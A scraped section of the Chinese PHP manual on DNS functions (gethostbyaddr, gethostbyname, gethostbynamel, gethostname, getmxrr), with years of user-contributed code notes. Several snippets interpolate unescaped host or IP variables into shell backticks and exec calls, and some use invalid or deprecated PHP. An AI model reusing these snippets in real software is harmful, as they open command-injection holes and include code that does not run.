    if (count($bits) != 4) return "ERROR";
    // there is probably a better way to do this bit...
    // loop through each segment
    for ($x=3; $x>=0; $x--)
    {
        // needs a byte to indicate the length of each segment of the request
        switch (strlen($bits[$x]))
        {
            case 1: // 1 byte long segment
                $data .= "\1"; break;
            case 2: // 2 byte long segment
                $data .= "\2"; break;
            case 3: // 3 byte long segment
                $data .= "\3"; break;
            default: // segment is too big, invalid IP
                return "INVALID";
        }
        // and the segment itself
        $data .= $bits[$x];
    }
    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
    // create UDP socket
    $handle = @fsockopen("udp://$dns", 53);
    // send our request (and store request size so we can cheat later)
    $requestsize=@fwrite($handle, $data);

    @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
    // hope we get a reply
    $response = @fread($handle, 1000);
    @fclose($handle);
    if ($response == "")
        return $ip;
    // find the response type
    $type = @unpack("s", substr($response, $requestsize+2));
    if ($type[1] == 0x0C00)  // answer
    {
        // set up our variables
        $host="";
        $len = 0;
        // set our pointer at the beginning of the hostname
        // uses the request size from earlier rather than work it out
        $position=$requestsize+12;
        // reconstruct hostname
        do
        {
            // get segment size
            $len = unpack("c", substr($response, $position));
            // null terminated string, so length 0 = finished
            if ($len[1] == 0)
                // return the hostname, without the trailing .
                return substr($host, 0, strlen($host) -1);
            // add segment to our host
            $host .= substr($response, $position+1, $len[1]) . ".";
            // move pointer on to the next segment
            $position += $len[1] + 1;
        }
        while ($len != 0);
        // error - return the hostname we constructed (without the . on the end)
        return $ip;
    }
    return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
Matt AKA Junkie 14-Mar-2004 08:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
      return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net 14-Mar-2004 04:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie 29-Feb-2004 04:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
    if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
    $longisp = @gethostbyaddr($ip);
    $isp = explode('.', $longisp);
    $isp = array_reverse($isp);
    $tmp = $isp[1];
    if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
        $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
    } else {
        $myisp = $isp[1].'.'.$isp[0];
    }
    preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
grimNOSPAMtraffic at hotNOSPAMmail dot com 31-Jul-2003 02:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com 28-Apr-2003 04:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
    return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua 11-Apr-2003 03:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com 21-Mar-2003 08:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $fullhost = gethostbyaddr($ip);
    $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
lukevb_at_iafrica.com 09-Nov-2002 02:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
    $ips = explode(', ', $remoteIP);
    $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net 07-Nov-2002 06:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
    $buffer = fgets($file, 128);
    if (substr($buffer, 0, 1) == ";") continue;
    $buffer = explode(" ", $buffer);
    if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
    }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
dominique at vdx dot nl 30-Sep-2002 05:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com 20-Sep-2002 02:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
    $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
    $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
    $ip=$dec-(intval($dec/256)*256);
    $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de 15-Sep-2002 10:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net 10-Sep-2002 07:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
    return $dns_cache[$a];
    } else {
    $temp = gethostbyaddr($a);
    $dns_cache[$a] = $temp;
    return $temp;
  }
    }
inny at core dot fetchnet dot org 10-Aug-2002 09:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com 16-Jul-2002 03:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu 30-May-2002 12:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
    if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
        return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
    } else {
        return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
    }
}
nothanks at nospam dot com 16-May-2002 03:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com 08-Jun-2001 03:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
andy at occ dot nu 12-Jan-2001 06:48
if the user is sitting behind a proxy server, you can do this;

<?
    if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
        $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
        $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
    }else{
        $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
    }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)


返回主机名对应的 IPv4地址。

  • ? gethostbyaddr
  • gethostbynamel ?
  • PHP Manual
  • 网络 函数
  • 返回主机名对应的 IPv4地址。

gethostbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyname — 返回主机名对应的 IPv4地址。

说明

gethostbyname(string $hostname): string

返回主机名 hostname 对应的 IPv4 互联网地址。

参数

hostname

主机名

返回值

成功时返回 IPv4 地址，失败时原封不动返回 hostname 字符串。

示例

Example #1 简单的 gethostbyname() 例子

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

参见

  • gethostbyaddr() - 获取指定 IP 地址对应的 Internet 主机名
  • gethostbynamel() - 获取互联网主机名对应的 IPv4 地址列表
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

hypolite at mrpetovan dot com 25-Jul-2023 01:47
Since 2015, the hostname parameter is arbitrarily limited to 255 characters to address CVE-2015-0235, probably to mirror RFC1035's octet limit on domain names.
seb dot gibbs at ymail dot com 22-Feb-2023 03:00
When using  gethostbynamel()  and  gethostbyname() together, you must do gethostbynamel() first, otherwise it will always give you one IP (or none) from the cache, and not return the full lookup.
gabriel at nexcore dot com dot br 10-Aug-2016 09:43
For the "dig" solution, here is a better one:

<?php
  $IP = `/usr/bin/dig $host. A +short | /usr/bin/tail -n1`
?>

Using tail because dig, even in the +short form, may return CNAME entries first, and also may return many, many entries (see "dig google.com").

Usig the dot at the end of the host to not perform domain searches.

This works also when $host = IP address already

Will return empty string in case o resolve failure (invalid hostname)
Dennis B. 15-Feb-2016 12:33
Options for the underlying resolver functions can be supplied by using the RES_OPTIONS environmental variable. (at least under Linux, see man resolv.conf)

Set timeout and retries to 1 to have a maximum execution time of 1 second for the DNS lookup:
<?php
  putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
  gethostbyname($something);
?>

You should also use fully qualified domain names ending in a dot. This prevents the resolver from walking though all search domains and retrying the domain with the search domain appended.
php at nemon dot be 17-Aug-2015 04:14
Always add the root . at the end or your server can add it's own suffix.
example: abc.com could become abc.com.yourcompany.com if you don't use abc.com.

I also find this function a litle bit limited because it doesn't tell you if the resolve failed.

TO adress all those issues I use :

function host2ip($host)
{
    $host=trim($host.'.'); // clean and add root .
    $ip= gethostbyname($host);
    if($ip==$host) $ip='';// empty IP if there is no ip
    return $ip;
}
devers 11-Dec-2014 05:37
This function says "Returns the IPv4 address or a string containing the unmodified hostname on failure.

This isn't entirely true, any hostname with a null byte in it will only return the characters BEFORE the null byte.

<?php
$hostname = "foo\0bar";
var_dump($hostname );
var_dump(gethostbyname($hostname ));
?>

Results:
string 'foo?bar' (length=7)
string 'foo' (length=3)
Ome Ko 16-Mar-2013 08:34
If you do a gethostbyname() and there is no trailing dot after a domainname that does not resolve, this domainname will ultimately be appended to the server-FQDN by nslookup.

So if you do a lookup for nonexistentdomainname.be your server may return the ip for nonexistentdomainname.be.yourhostname.com, which is the server-ip.

To avoid this behaviour, just add a trailing dot to the domainname; i.e. gethostbyname('nonexistentdomainname.be.')
Emmett Brosnan 01-Feb-2012 11:09
Grabbing IPs for multiple hosts:

<?php
function getAddrByHost($hosts, $timeout = 3) {
  $returnString = '';
  foreach ($hosts as $host) {
    $query = `nslookup -timeout=$timeout -retry=1 $host`;
    if (preg_match('/\nAddress: (.*)\n/', $query, $matches))
      $returnString .= trim($matches[1]) . '<br>';
    $returnString .= $host . '<br>';
  }
  return $returnString;

}

$hostArray[] = 'www.domain1.com';
$hostArray[] = 'www.domain2.com';
//$hostArray[] = 'www.domain3.com';
//$hostArray[] = 'www.domain4.com';

$returnString = getAddrByHost($hostArray);
echo $returnString;
?>
Alexandre (d) 17-Jul-2011 09:28
Important note: You should avoid its use in production.

DNS Resolution may take from 0.5 to 4 seconds, and during this time your script is NOT being executed.

Your customers may think that the server is slow, but actually it is just waiting for the DNS resolution response.

You can use it, but if you want performance, you should avoid it, or schedule it to some CRON script...
nirazuelos at gmail dot com 12-Aug-2009 08:52
This is the best method I've come up with to resolve any host-name to ip-address, it's quick and reliable and has support for timeout! An invalid address, a unicode string for exmaple, returns after 4~ seconds, instead of 8~ with gethostbyname! It works only with unix though.

<?php
function getAddrByHost($host, $timeout = 3) {
   $query = `nslookup -timeout=$timeout -retry=1 $host`;
   if(preg_match('/\nAddress: (.*)\n/', $query, $matches))
      return trim($matches[1]);
   return $host;
}
?>
manalejandro at gmail dot com 24-May-2008 08:59
This logic solution to problem checking dns reverse name resolution:

<?php
$ip = gethostbyname($host);
if(ip2long($ip) == -1 || ($ip == gethostbyaddr($ip) && preg_match("/.*\.[a-zA-Z]{2,3}$/",$host) == 0) ) {
    echo 'Error, incorrect host or ip';
    }
else {
    echo 'Ok';
}
?>
geoff at spacevs dot com 05-Dec-2007 07:37
I put this in a prepend script for all my websites to cut down the amount of abuse by automated scripts.
<?PHP
        $blacklists = array('web.sorbs.net');
        $parts  = explode('.', $_SERVER['REMOTE_ADDR']);
        $ip     = implode('.', array_reverse($parts)) . '.';
        foreach($blacklists as $bl) {
                $check = $ip . $bl;
                if ($check != gethostbyname($check)) {
                                error_log('PHP Security: [DNSBL] - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $bl);
                                die('Put a detailed error here so the client knows why they have been blocked');
                }
        }
?>
Florian Holzhauer 12-Sep-2007 03:02
If name resolution fails with apache2, mod_chroot and php5, add
LoadFile /lib/libnss_dns.so.2
to the mod_chroot config.
guwapo at thedoghouse dot bz 07-Sep-2007 08:25
referring to ralphbolton at mail2sexy dot com comment:

(at least in 5.2.0 + djbdns-dnscache) gethostbyname does not really seem to cache entries. If somebody notices a speed-up after the second lookup of the same domain - that's most likely your dns-cache itself, not some php-internal dns-cache.

It does cache the entries in your /etc/resolv.conf (e.g. what dns to use) so I agree with him, that stopping and starting apache, will reload the resolv.conf.
von at student dot chalmers dot se 20-Jul-2007 03:50
When using PHP and Apache in a chroot environment on RedHat Linux, I have found that I need to bind-mount /var/run/nscd to get this to work. Apparently, the socket in that directory is needed for all the DNS things.
Josh Finlay josh at glamourcastle dot com 04-Nov-2006 06:55
gethostbyname and gethostbynamel does not ask for AAAA records. I have written two functions to implement this. gethostbyname6 and gethostbynamel6. I don't believe this issue has been addressed yet.

They are made to replace gethostbyname[l], in a way that if $try_a is true, if it fails to get AAAA records it will fall back on trying to get A records.

Feel free to correct any errors, I realise that it is asking for *both* A and AAAA records, so this means two DNS calls.. probably would be more efficient if it checked $try_a before making the query, but this works for me so I'll leave that up to someone else to implement in their own work.. the tip is out there now anyway..

Here is the code:

    function gethostbyname6($host, $try_a = false) {
        // get AAAA record for $host
        // if $try_a is true, if AAAA fails, it tries for A
        // the first match found is returned
        // otherwise returns false

        $dns = gethostbynamel6($host, $try_a);
        if ($dns == false) { return false; }
        else { return $dns[0]; }
    }

    function gethostbynamel6($host, $try_a = false) {
        // get AAAA records for $host,
        // if $try_a is true, if AAAA fails, it tries for A
        // results are returned in an array of ips found matching type
        // otherwise returns false

        $dns6 = dns_get_record($host, DNS_AAAA);
        if ($try_a == true) {
            $dns4 = dns_get_record($host, DNS_A);
            $dns = array_merge($dns4, $dns6);
        }
        else { $dns = $dns6; }
        $ip6 = array();
        $ip4 = array();
        foreach ($dns as $record) {
            if ($record["type"] == "A") {
                $ip4[] = $record["ip"];
            }
            if ($record["type"] == "AAAA") {
                $ip6[] = $record["ipv6"];
            }
        }
        if (count($ip6) < 1) {
            if ($try_a == true) {
                if (count($ip4) < 1) {
                    return false;
                }
                else {
                    return $ip4;
                }
            }
            else {
                return false;
            }
        }
        else {
            return $ip6;
        }
    }
chris at chollis dot net 15-Oct-2006 10:57
mmucklo raises a valid point, however the function to use would be getmxrr() in the simplest case, or alternatively checkdnsrr() if you so wish; getdnsrr() does not exist.

On another note, it can be a pain (when iterating with while loops for example) that on failure gethostbyname() returns the hostname, rather than FALSE. You could wrap it in a simple user function, to "correct" this:

<?php

function fixed_gethostbyname ($host) {
    // Try the lookup as normal...
    $ip = gethostbyname($host);
    // ...but if it fails, FALSE is returned instead of the unresolved host
    if ($ip != $host) { return $ip; } else return false;
}

?>
Peter <toomuchphp-phpman at yahoo dot com> 05-Sep-2006 06:33
One way to discover your IP address automatically:

<?php

// need to trim() because whitespace will confuse the name lookup
$myIP = gethostbyname(trim(`hostname`));
echo $myIP;

?>
mmucklo at yahoo dot com 16-Aug-2006 11:05
One note about using gethostbyname() for checking email address domains:

If the name doesn't resolve, follow up with getdnsrr() and make sure they don't have an MX entry before returning an error.

It is possible for a domain name not to have an A record, but still have an MX entry.
Marc M 08-Aug-2006 08:33
Just a heads up. I was using this function on my site to verify email host addresses. I thought all was good, until a potential client contacted me and said they couldn't sign up correctly. They have a valid email address and domain, but this function failed.

Good luck.
ralphbolton at mail2sexy dot com 06-Apr-2006 01:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com 14-Mar-2006 06:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com 21-Oct-2005 09:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com 21-Oct-2005 09:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com 18-Aug-2005 12:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com 26-Dec-2004 12:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
    echo "ip: $host is listed in $rbl\n";
} else {
    echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent 14-Jul-2004 09:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 02:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org 01-Apr-2003 04:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com 04-Jul-2002 07:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
    list($usec, $sec) = explode(" ",microtime());
    return ((float)$usec + (float)$sec);
    }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host<br>";
    }
    else {
        echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com 16-Mar-2002 10:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    testipaddress($nametotest);

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
//Call address test function
    testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host, so host "
             . "not currently available in DNS and "
             . "probably offline for some time<BR>";
    }
    else {
        echo "good hostname, ipaddress = $ipaddress<BR>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>


获取互联网主机名对应的 IPv4 地址列表

  • ? gethostbyname
  • gethostname ?
  • PHP Manual
  • 网络 函数
  • 获取互联网主机名对应的 IPv4 地址列表

gethostbynamel

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbynamel — 获取互联网主机名对应的 IPv4 地址列表

说明

gethostbynamel(string $hostname): array|false

返回互联网主机名 hostname 解析出来的 IPv4 地址列表。

参数

hostname

主机名

返回值

返回 IPv4 地址数组，或在 hostname 无法解析时返回 false。

示例

Example #1 gethostbynamel() 例子

<?php
$hosts = gethostbynamel('www.example.com');
print_r($hosts);
?>

以上示例会输出：

Array
(
    [0] => 192.0.34.166
)

参见

  • gethostbyname() - 返回主机名对应的 IPv4地址。
  • gethostbyaddr() - 获取指定 IP 地址对应的 Internet 主机名
  • checkdnsrr() - 给指定的主机（域名）或者IP地址做DNS通信检查
  • getmxrr() - 获取 Internet 主机名对应的 MX 记录
  • named(8) 手册页

User Contributed Notes

Anonymous 13-Mar-2018 07:57
不要使用http协议,gethostbynamel函数中
ab at null dot ixo dot ca 01-Jul-2016 02:44
If using gethostbyname against the name of the localhost is always giving you 127.0.0.1 but you want the DNS address instead, just put a dot at the end of the name.  E.g.,

$foo = gethostbynamel("myhost.example.com");
print_r($foo);

...is giving you this:
Array
(
    [0] => 127.0.0.1
)

Then put a dot at the end of the name:

$foo = gethostbynamel("myhost.example.com.");
print_r($foo);

...and now you get something like:
Array
(
    [0] => 172.217.1.99
)
info at methfessel-computers.de 29-Sep-2006 03:27
The solution is simpel. Just add a . (point) to the end of the URL for correct name resolving.

Without this point PHP thinks it's a subdomain of your local domain and so returns the "local-IP".
webdev at concraption dot com 19-Sep-2005 11:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
          echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
Skyld at o2 dot co dot uk 25-Sep-2004 01:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
  ? $hosts = gethostbynamel($domain);
    for ($chk=0;$chk<$maxipstocheck;$chk++) {
      if (isset($hosts[$chk])) {
        $th = fsockopen($domain, $port);
        if ($th) {
          fclose($th);
          return $hosts[$chk];
          break;
        }
      }
    }
  }
?>


获取主机名

  • ? gethostbynamel
  • getmxrr ?
  • PHP Manual
  • 网络 函数
  • 获取主机名

gethostname

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gethostname — 获取主机名

说明

gethostname(): string|false

gethostname() 可以获取本地机器的标准主机名。

参数

此函数没有参数。

返回值

成功时返回主机名称字符串，失败时返回 false。

示例

Example #1 简单的 gethostname() 例子

<?php
echo gethostname(); // 可能会输出：sandie
?>

参见

  • gethostbyname() - 返回主机名对应的 IPv4地址。
  • gethostbyaddr() - 获取指定 IP 地址对应的 Internet 主机名
  • php_uname() - 返回运行 PHP 的系统的有关信息

User Contributed Notes

php at pk1048 dot com 18-May-2023 03:01
Regarding Linux vs. macOS, that is not a difference in OS or PHP. macOS sets the hostname to <shortname>.local. Open a terminal window and run `hostname` to check. The local hostname can be set on macOS under the Sharing Preferences (or Settings if Ventura 13 or newer).
markosjal AT Gmail 13-Apr-2022 05:11
Since I built a PHP app that runs on Linux Windows and MacOS I just discovered that using gethostname() behaves differently on different OSes. Linux will return "hostname" while MacOS 10.15 will return "hostname.local"  . Have yet to determine how Windows behaves but the difference is worth noting. Only a few days ago I was wanting to get the LAN extension in Linux and was never able to. I was oly hable to get "hostname".  In MacOS it is just there. with "hostname.local"
solaris 27-Oct-2019 11:25
To the prev. note: **NEVER USE***
#`sudo hostname servername`

Some *nix systems will then force to set the 'servername' as new hostname!
kurdtpage at gmail dot com 28-Aug-2018 04:26
On Linux, use the command `hostname` to view your host name, or `sudo hostname servername` to set it


获取 Internet 主机名对应的 MX 记录

  • ? gethostname
  • getprotobyname ?
  • PHP Manual
  • 网络 函数
  • 获取 Internet 主机名对应的 MX 记录

getmxrr

(PHP 4, PHP 5, PHP 7, PHP 8)

getmxrr — 获取 Internet 主机名对应的 MX 记录

说明

getmxrr(string $hostname, array &$hosts, array &$weights = null): bool

在 DNS 中搜索 hostname 对应的 MX 记录。

参数

hostname

Internet 主机名。

hosts

找到的 MX 记录列表存放于 hosts 数组。

weights

提供了 weights 数组后，它会用找到的权重信息填充数组。

返回值

找到记录返回 true，没找到或者出错时返回 false。

注释

Note:

本函数不应使用于地址验证。仅在 MX 记录在 DNS 中找到时才会返回，然而根据» RFC 2821，没有 MX 记录时，hostname 本身就是 MX 主机，优先级为 0。

Note:

